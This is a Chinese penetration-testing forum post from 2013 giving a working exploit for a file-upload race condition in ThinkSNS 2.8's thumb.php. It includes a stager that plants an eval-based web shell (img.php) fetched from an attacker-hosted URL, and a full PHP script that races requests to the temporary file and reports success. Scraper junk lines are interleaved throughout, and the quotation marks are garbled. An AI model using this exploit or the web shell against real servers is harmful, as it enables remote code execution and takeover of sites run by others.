中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
! |, O5 h* a1 r, L( _
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
5 ~. u. x6 R' Q- }5 V% I) P: G
漏洞文件
1 V/ d. F$ E! C
存在漏洞的文件为:thumb.php
9 O! n E' S+ J! C: s
作者:韦鲲鹏
, y/ b6 ]; E4 p
1、 准备如下PHP文件并上传到服务器(自己的)。
+ m6 _4 @0 {1 X8 H1 G4 _7 q
文件内容如下:
9 U* u. q1 a' C% C4 P. l
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
) {8 ?4 ?) W# E5 y
2、 计算出临时的文件名:
6 Q# `: I4 E- v- T" u5 N& ^! l
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
. @) r% q' m8 X9 I. L A
& P1 q6 z2 r- V) g& ?6 S1 l7 N
3、 上传临时文件。
$ Q- |8 g+ w2 K6 _+ Y L6 N- ?
4、 访问临时文件。
$ [( e1 W& y$ ?/ j
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
) m6 R: [& U- Z% W' c/ [0 s$ {
Exploit文件内容如下:(这个我就不详细解释了)
# n. v* x6 I* X% [' t
<?php
4 ^* A, @$ f, c$ c# W
error_reporting(0);
- D, Z; G9 W8 h9 i- |6 Q
set_time_limit(0);
4 K% G" A! j/ ?( e# U- V
ini_set(“default_socket_timeout”, 5);
8 G4 \) A0 s* g0 f% `
function http_send($host, $port, $headers) {
5 B1 a+ c4 O& e/ L% A
$fp = fsockopen($host, $port);
; N! K* a9 [& |: m3 m
if (!$fp) die(‘Connection -> fail’);
, ~" ^. S, P" y" R0 d& C- s
fputs($fp, $headers);
, R1 D( b" M1 E+ y1 r
return $fp;
$ B8 {8 n6 n, ~0 R. r; n$ `
}
! O$ P# h7 W+ O& G9 _: `' M7 |
function http_recv($fp) {
- u4 @, b4 P8 ^8 s. b v
$ret=”";
9 g; ~2 |, L& ^; l/ s
while (!feof($fp))
9 W0 @- F/ Y( f# l
$ret.= fgets($fp, 1024);
3 z; U" ^1 e2 ^: r) M8 e" Q
fclose($fp);
8 K. B2 e( V& Q/ ~0 b& T' c
return $ret;
; }4 Y6 y: J4 a7 K6 v: L
}
% V# G2 W+ W1 j+ g9 b
print “\n# ThinkSns Arbitrary File Upload #\n”;
+ D1 T3 b3 z. x
print “# Discovered by 韦鲲鹏 #\n\n”;
! ^0 Z' B z Z
if ($argc < 4) {
0 v M. T: a& b7 w1 e# U
print “Usage: php <host> <path> <romote_url>\n”;
& _4 ~, I" w7 x1 c4 y4 R, g
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* G$ b+ R6 P$ u) z/ a4 A
die();
6 q, k3 A' A8 i8 G
}
: c. ^) n" R0 v+ i5 ^4 l4 N) v: H) w
$host = $argv[1];
8 z# P* u! v# D E9 `. x
$path = $argv[2];
9 j0 Z5 \% g6 |$ C
$url = $argv[3];
* v: V; x8 Q6 g- r* L- z' f$ \. k
$i=0;
2 {8 b+ L: b# r6 W
//上传数据包
% x: h& h7 X) ^! n8 |: W8 v1 E, ?
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
! g" \: J% a6 D: `! @
$headers_up .= “Host: “.$host.”\r\n”;
4 y4 Y( d/ P/ f4 q- d0 F
$headers_up .= “Connection: close\r\n\r\n”;
8 s) d8 R7 x8 L; X! D0 S
echo $headers_up;
% S3 c. _+ b; j
//临时文件访问数据包
/ Y' f) D5 ~2 {0 b, `/ Q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: H# |1 s- w) J! z3 ]+ ~
$headers .= “Host: “.$host.”\r\n”;
7 j: ]- r6 c4 g$ `0 O6 N/ q
$headers .= “Connection: close\r\n\r\n”;
6 f) H0 [0 K& V# i2 @( b
echo $headers;
" h8 y5 Z: e" l5 G! W% r
while(++$i<10) {
9 [+ y: F/ h' M: g; H
fclose(http_send($host, 80, $headers));
5 K7 g# M- C0 H/ z
}
1 Y$ k- T7 u7 I. B% P# m) [1 B6 b
fclose(http_send($host, 80, $headers_up));
0 Z4 y0 K3 }/ r& Y
while(++$i<50) {
# t# ?) B% i0 M. T
fclose(http_send($host, 80, $headers));
: A Z2 S# p$ ~/ P- `
}
1 E T1 d; ?; z9 M" \, ^; _" M" I$ h
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, @$ O- ?# x4 r% P$ X* u* U
$headers .= “Host: “.$host.”\r\n”;
" J [) a5 v# Q# |8 d2 B9 r5 V( X0 T
$headers .= “Connection: close\r\n\r\n”;
. G$ B8 } d3 B* x& D" F" ?' Y
$res=http_recv(http_send($host, 80, $headers));
: B; m# o7 w, z D. r; p$ H! W
if(preg_match(‘/200 OK/’,$res)) {
9 n) C+ ]* y }
print “Success!\n\n”;
+ d# ^( l* t) k# w5 c9 Y
} else {
* W5 w) P6 ~( h2 I G
print “Fail!\n\n”;
& d$ W: D. H! f: z$ `
}
3 _. u8 H* w3 r3 S* d2 Q
?>
* {6 n2 a8 B1 M( S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2